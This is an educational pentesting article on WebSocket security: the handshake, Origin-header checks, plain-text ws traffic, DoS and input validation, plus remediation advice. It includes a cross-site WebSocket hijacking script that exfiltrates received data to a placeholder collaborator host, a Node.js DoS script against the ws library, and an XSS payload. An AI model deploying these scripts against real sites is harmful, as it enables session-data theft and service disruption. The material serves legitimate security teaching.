What is WebSocket Hijacking?
As OWASP states, the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server; however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex).
WebSockets allow the client or server to create a ‘full-duplex’ (two-way) communication channel, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial upgrade handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames. For more, see the WebSocket Protocol.
It is the server’s responsibility to verify the Origin header in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for CSRF-like issues.
How Does WebSocket Work?
The standard WebSocket interaction between client and the server includes the follows the steps:
- Client → Server: The client initiates the connection to the server by sending an HTTPS WebSocket handshake request.
- Server → Client: The server returns a response for the handshake with the status code 101 Switching Protocols.
- Server → Client: Server sends the message to the client.
- Client → Server: The client closes the WebSocket connection at the end.
In a visual way, the process looks as follows:
A sample request that initiates the WebSocket looks like the following:
What’s the Impact of the Attack?
WebSocket hijacking attacks can lead to many vulnerabilities such as XSS, SQL injection, XXE, sensitive information disclosure, MiTM attacks, Denial of Service attacks etc. If exploitable, these attacks can lead to critical results.
How to Detect + Exploit
To identify a WebSocket vulnerability on the application, followings can be done:
- Does the application allow the communication using ws instead of wss?
- Is there an input validation in place for the message sent?
- Is the Origin header being checked or can you write your own domain there? (try to exploit it if there is no randomized CSRF token in the GET request)
- Is it possible to send unrestricted cross domain calls to lead to DoS attacks?
Using a WebSocket client, attempt to connect to the remote WebSocket server. If a connection is established the server may not be checking the origin header of the WebSocket handshake.
Some of the most common security weaknesses can be listed as follows:
- Unencrypted Communications
- Cross-Site WebSocket Hijacking (CSRF with WebSockets)
- Sensitive information disclosure over network
- Denial of Service
- Cross-Site Scripting
Cross-Site WebSocket Hijacking (CSRF with WebSockets)
In case WebSocket handshake relies on HTTP cookies for the session and doesn’t include a CSRF token, an attacker can create a custom script to establish a cross-site WebSocket connection on their own domain for the vulnerable application. It’s possible for an attacker to extract sensitive information using this attack method.
A common script that can be used for exploitation of this vulnerability can be found below:
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retrieve confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Unencrypted Communications / Sensitive Information Disclosure Over Network
The WebSockets protocol aka WS is a plain-text protocol just like HTTP. In case of the use, it’s possible for an attacker to capture and modify the traffic over the network.
In order to test if the plain-text communication is allowed, the following tool can be used:
Besides testing with a browser using ws://, you can also test if the application supports plain-text communication with ws by using online tools, such as the one found here.
Denial of Service:
WebSockets allow unrestricted cross domain calls by default which leads to DoS vulnerabilities. Following is a common script that crashes the WebSocket server which affects some ws client versions:
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Input-Validation Vulnerabilities
In case the input validation is weak on WebSocket user input, it’s possible to trigger injection attacks using WebSocket vulnerabilities such as XSS, SQL injection, XXE, etc.
For the sake of this example, imagine there is a chat application which uses Websockets that we are testing. When the user types a message it can be sent in the following format:
{“message”:”Hello world”}
In case there is no input validation in place, (or a weak filter to be bypassed) an attacker can intercept the request with a web proxy (Burp in this case) to trigger an XSS pop-up by replacing their own payload:
{"message":"<img src=1 onerror='alert(1)'>"}
Remediation
It’s easy to prevent Cross-Site WebSocket Hijacking attacks by using some basic implementations. By implementing the following protections, you can make sure the private data can be communicated in the trusted channels only after the handshake is established.
- Encrypted Communications: Use the wss:// protocol (WebSockets over TLS) instead of ws://.
- Origin header: Since the origin header is designed to protect the server against attacker-initiated cross-site connections of victim browsers, make sure to verify the Origin header.
- Randomized tokens: Use session-individual random tokens on the handshake request and verify them on the server.
- Use of rate limiting based on IP will help solve this issue.
If you’re looking for a more detailed walk through on WebSocket attacks, view the video on websocket pentesting here. Furthermore, read more about the basics of a web socket vulnerabilities with expert insights from Cobalt core member Harsh Bothra.